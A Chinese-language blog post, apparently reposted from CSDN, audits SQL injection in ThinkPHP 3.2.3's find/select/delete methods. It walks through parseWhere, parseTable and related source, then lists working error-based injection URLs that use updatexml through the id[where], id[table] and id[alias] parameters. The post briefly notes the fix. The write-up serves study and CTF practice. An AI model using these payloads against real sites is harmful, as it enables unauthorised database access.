本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

2024-11(1)

ThinkPHP3.2.3代码审计【find方法引起的SQL注入】

发布于2021-06-07 20:32     阅读(805)     评论(0)     点赞(23)     收藏(0)


前言

复习好无聊,就去刷刷CTFshow的题目,刷到一个TP3.2.3的SQL注入,之前没分析过,就简要分析一下,也有利于我这菜鸡学习一下

简介

不只是find方法,由于select(),find(),delete()方法可能会传入数组类型数据,导致可能的SQL注入隐患。

环境搭建

上官网下载3.2.3完整版http://www.thinkphp.cn/donate/download/id/610.html

\Application\Home\Controller\IndexController.class.php:

public function index()
{
    $id = i('id');
    $res = M('users')->find($id);
    var_dump($res);
    //$res = M('user')->delete($id);
    //$res = M('user')->select($id);
}

分析

where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

直接分析find方法:

首先$option[where]的值即是我们传入的值,然后到Driver类中调用select方法。

其中又会调用buildSelectSql方法,这方法用来生成查询SQL语句的,跟进

buildSelectSql方法中有一个parseSql方法,这是很熟悉的方法了,它是用来替换生成SQL语句的,也是最容易出现问题的地方!!
在这里插入图片描述
单独看看这个替换SQL语句中表达式的方法:
它会用str_replace函数将一些参数替换进既定SQL模板语句中,最后返回这个SQL

既定SQL模板语句如下:

SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%

在这里插入图片描述
根据$opention的值,显然我们这里只有%WHERE%可以替换

那么我们就会调用:$this->parseWhere(),跟进看看
在这里插入图片描述
直接将$whereStr的值拼接进去SQL语句中了,变成了这样:

WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) #

显然这是能触发报错注入的,再看看最终的SQL语句:

SELECT * FROM `users` WHERE 1 and updatexml(1,concat(0x7e,database(),0x7e),1) # LIMIT 1  

不仅仅parseWhere()可以触发,与之类似拼接的parseGroup()、parseHaving()、parseOrder()都能触发:

protected function parseGroup($group) {
    return !empty($group)? ' GROUP BY '.$group:'';
}

protected function parseHaving($having) {
    return  !empty($having)?   ' HAVING '.$having:'';
}
    
protected function parseOrder($order) {
	............

    return !empty($order)?  ' ORDER BY '.$order:'';
}

此外还有 parseTable()也能触发,可以用id[where]和id[alias]参数触发。我懒就不分析这个了。

//Think/Model.class.php
protected function _parseOptions($options=array()) {
..............
if(!empty($options['alias'])) {
            $options['table']  .=   ' '.$options['alias'];
        }
        // 记录操作的模型名称
        $options['model']       =   $this->name;
...............        
}


//Drover.class.php
protected function parseTable($tables) {
	.............
	
		elseif(is_string($tables)){
            $tables  =  explode(',',$tables);
            array_walk($tables, array(&$this, 'parseKey'));
        }
        return implode(',',$tables);
    }

payload

table:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[table]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23

alias:http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[alias]=users where 1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1) %23

where: http://127.0.0.1/thinkphp_3.2.3_full/index.php?m=Home&c=Index&a=index&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
																         		id[order]
																				id[having]
																				id[group]

修复

分析表达式的_parseOptions()的参数不再是我们可控的$option,导致我们的构造无法被利用
在这里插入图片描述

原文链接:https://blog.csdn.net/weixin_45669205/article/details/117429889



所属网站分类: 技术文章 > 博客

作者:搜嘎皮卡

链接:http://www.phpheidong.com/blog/article/89436/8203f1046aff7086c28e/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

23 0
收藏该文
已收藏

评论内容:(最多支持255个字符)